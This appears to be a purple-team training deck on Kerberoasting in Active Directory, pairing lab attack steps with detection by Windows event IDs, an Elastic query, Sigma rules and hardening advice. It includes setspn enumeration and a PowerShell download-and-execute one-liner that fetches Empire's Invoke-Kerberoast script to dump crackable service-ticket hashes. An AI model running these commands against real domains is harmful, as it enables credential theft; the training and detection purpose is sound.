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APTLC: Kerberoasting
The Hunt for Kerberoasting
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Applied Purple Teaming – LC1170 Kerberoasting
The Hunt for Kerberoasting

Related Applied Purple Teaming Lab: L1170
Related Atomic Purple Team Report: PB1170

MITRE:
T1558 – Forging Kerberos Tickets / .003 Kerberoasting
S10194 – PowerSploit
S10363 - Empire

Event IDs:
4768 - A Kerberos authentication ticket (TGT) was requested.
4769 - A Kerberos service ticket was requested.
4776 - The computer attempted to validate the credentials for an account
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Lifecycle Ingest & Goal Setting

The Ingest: Tim Medin

The specific attack/component?
• Kerberoasting

The goal of the lifecycle:
• Demonstrate attack and hunt
• Hunt for Event IDs
• Catch this behavior

Atomic Purple Team Phase: Ingest/Analysis

Links:
https://www.blackhillsinfosec.com/a-toast-to-kerberoast/
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Planning - Kerberoasting

SPNs, TGTs, and the three-headed guard dog of Hades.
Service Principal Name: 
• A UID for a service instance
• Required for a service to auth against AD
Also makes the service account a target

Atomic Purple Team Phase: Planning

MITRE:
T1558 – Forging Kerberos Tickets
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Planning – Kerberoasting – Client Authentication

Kerberos authentication is a conceptual challenge
Client auths, transforms password into the cipher key
Clients sends the AS/TGS the user ID (clear)
The AS gens up a secret key and returns:
• A: TGS Session Key
• B: TGT encrypted with the TGS secret key
Client can then decrypt the session key

Atomic Purple Team Phase: Planning

MITRE:
T1558 – Forging Kerberos Tickets
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Planning – Kerberoasting – Client Service Authorization

C: Client now sends encrypted TGT and the UID
D: And, the authenticator bits now encrypted with the TGS session key
TGS does a bunch of comparisons and provides:
E: Client to server ticket
• Client ID and network address
• Validity period
• Client / server session key
F: Client to server session key
• Encrypted with TGS

Atomic Purple Team Phase: Planning

MITRE:
T1558 – Forging Kerberos Tickets
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Planning – Kerberoasting – Client Service Request

Client service can now authenticate! 
E: Client to server ticket
G: Another authenticator with:
• Client ID, timestamp
• Encrypted with client/server session key
H: Timestamps are checked

Services can be now be serviced and are 
serviceable. 

Atomic Purple Team Phase: Planning

MITRE:
T1558 – Forging Kerberos Tickets
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Attack! 

To stage this attack, we need at least one account with an SPN.

Let’s create one:
setspn -a ws01/glen.shaw.labs.local:1433 labs.local\glen.shaw

Atomic Purple Team Phase: Attack

Commands:
setspn -a ws01/glen.shaw.labs.local:1433 labs.local\glen.shaw

MITRE:
T1558 – Forging Kerberos Tickets
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Attack! 

Check for SPNs on the domain

setspn -T labs.local -Q */*

Atomic Purple Team Phase: Attack

Commands:
setspn -T labs.local -Q */*

MITRE:
T1558 – Forging Kerberos Tickets
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Attack! 

From a command prompt, run the following, though note that the following 
execution will produce an output filled with line breaks. 

powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object 
Net.WebClient).DownloadString(‘https://raw.githubusercontent.co
m/EmpireProject/Empire/master/data/module_source/credentials/In
voke-Kerberoast.ps1');Invoke-Kerberoast -erroraction
silentlycontinue -OutputFormat Hashcat

Atomic Purple Team Phase: Attack

Commands:
powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object 

Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/Em
pireProject/Empire/master/data/module_source/credentials/Invoke-
Kerberoast.ps1');Invoke-Kerberoast -erroraction silentlycontinue -
OutputFormat Hashcat

MITRE:
T1558 – Forging Kerberos Tickets

Links:
https://github.com/EmpireProject/Empire
https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Inv
oke-Kerberoast.ps1
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Clean Up Line Breaks and Make a Crackable Ticket

Copy the ticket over to a system with a modern text editor. 

Much Better!

cat kerb.txt | grep Hash -A 29 | sed 's/\<Hash\>//g' | sed 
s/://g | sed s/--//g | sed -r 's/\s+//g' | tr '\n' ' ' | sed 
's/\s//g' | sed 's/$k\{1,\}/\'$'\n&/g’

Atomic Purple Team Phase: Attack

Commands:
cat kerb.txt | grep Hash -A 29 | sed 's/\<Hash\>//g' | sed s/://g | sed 

s/--//g | sed -r 's/\s+//g' | tr '\n' ' ' | sed 's/\s//g' | sed 
's/$k\{1,\}/\'$'\n&/g’

MITRE:
T1558 – Forging Kerberos Tickets
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Attack! 

Or, for a cleaner output.

powershell -ep bypass
IEX (New-Object 
Net.WebClient).DownloadString(‘https://raw.githubusercontent.
com/EmpireProject/Empire/master/data/module_source/credential
s/Invoke-Kerberoast.ps1');Invoke-Kerberoast -erroraction
silentlycontinue -OutputFormat Hashcat | Select-Object Hash | 
Out-File -filepath ‘c:\users\public\HashCapture.txt’ -Width 
8000

Atomic Purple Team Phase: Attack

Commands:
powershell -ep bypass
IEX (New-Object 

Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/Em
pireProject/Empire/master/data/module_source/credentials/Invoke-
Kerberoast.ps1');Invoke-Kerberoast -erroraction silentlycontinue -
OutputFormat Hashcat | Select-Object Hash | Out-File -filepath
‘c:\users\public\HashCapture.txt’ -Width 8000

MITRE:
T1558 – Forging Kerberos Tickets

Links:
https://github.com/EmpireProject/Empire
https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-
Kerberoast.ps1
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Hunt and Defend Methodology

How will hunting/defending work?
• One of best defenses? Honey SPN

Further defensive controls implementation:
• Kerberos Credential Validation: EID# 4776
• Kerberos Ticket Operations: EID# 4769
• Strong and random passwords in place

Atomic Purple Team Phase: Hunt and Defend

Event IDs:
4768 - A Kerberos authentication ticket (TGT) was requested.
4769 - A Kerberos service ticket was requested.
4776 - The computer attempted to validate the credentials for an account

12



© Defensive Origins LLC   LC1170.13 – Kerberoasting – https://attack.mitre.org/techniques/T1558/003/

Adjust / Harden

Are adjustments needed to reach LC Goal?

Document adjustments and attempt attack/defense again.

Atomic Purple Team Phase: Adjust and Harden
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Report Findings and Prepare for Production

● Prepare a report (playbook).
● Prepare for Change Management Controls for changes to be deployed in 

production.

Atomic Purple Team Phase: Reporting
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Report Findings and Prepare for 
Production

Prepare a report (playbook).

Prepare for Change Management Controls for changes 
to be deployed in production.

Atomic Purple Team Phase: Reporting

Related Atomic Purple Team Report: PB1170
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Lessons Learned

New Techniques Learned?

Gained Experience?

Has the organization’s security posture been improved?

Atomic Purple Team Phase: Lessons Learned
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Kerberoasting Summary

Attack Methodology
Toolkit Locations
https://github.com/EmpireProject/Empire
Native Windows Tools

Commands

Detect Methodology
Event IDs
Event ID 4769, 4768

Elastic Query
ticket_encryption_type : "0x17" and NOT service_ticket_name : krbtgt and 
service_ticket_name : "glen.shaw" and event_id : 4769

MITRE ATT&CK Maps
https://attack.mitre.org/software/S0194/
https://attack.mitre.org/software/S0363/
https://attack.mitre.org/techniques/T1558/003/

Audit Policy Mapping
Account Logon > Kerberos Service Ticket Operations: Success, Failure

SIGMA–
https://github.com/Neo23x0/sigma/blob/master/rules/windows/builtin/win_alert_
enable_weak_encryption.yml
https://github.com/Neo23x0/sigma/blob/master/rules/windows/process_creation/
win_spn_enum.yml

Defense Methodology
Implement AES for Kerberos
Long Passwords on Service Accounts
Limit Privileges of Service Accounts

setspn -T labs.local -Q */*
powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object 

Net.WebClient).DownloadString(‘https://raw.githubus
ercontent.com/EmpireProject/Empire/master/data/modu
le_source/credentials/Invoke-
Kerberoast.ps1');Invoke-Kerberoast -erroraction
silentlycontinue -OutputFormat Hashcat

Atomic Purple Team Phase: Lessons Learned

Commands:
setspn -T labs.local -Q */*
powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object 
Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/Empi
reProject/Empire/master/data/module_source/credentials/Invoke-
Kerberoast.ps1');Invoke-Kerberoast -erroraction silentlycontinue -
OutputFormat Hashcat

Applied Purple Team Lab: L1170
Related Atomic Purple Team Report: PB1170

MITRE:
T1558 – Forging Kerberos Tickets / .003 Kerberoasting
S10194 – PowerSploit
S10363 - Empire

Event IDs:
4768 - A Kerberos authentication ticket (TGT) was requested.
4769 - A Kerberos service ticket was requested.
4776 - The computer attempted to validate the credentials for an account
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Links:
https://github.com/EmpireProject/Empire
https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-
Kerberoast.ps1
https://github.com/Neo23x0/sigma/blob/master/rules/windows/builtin/win_alert_enable_weak_e
ncryption.yml
https://github.com/Neo23x0/sigma/blob/master/rules/windows/process_creation/win_spn_enu
m.yml
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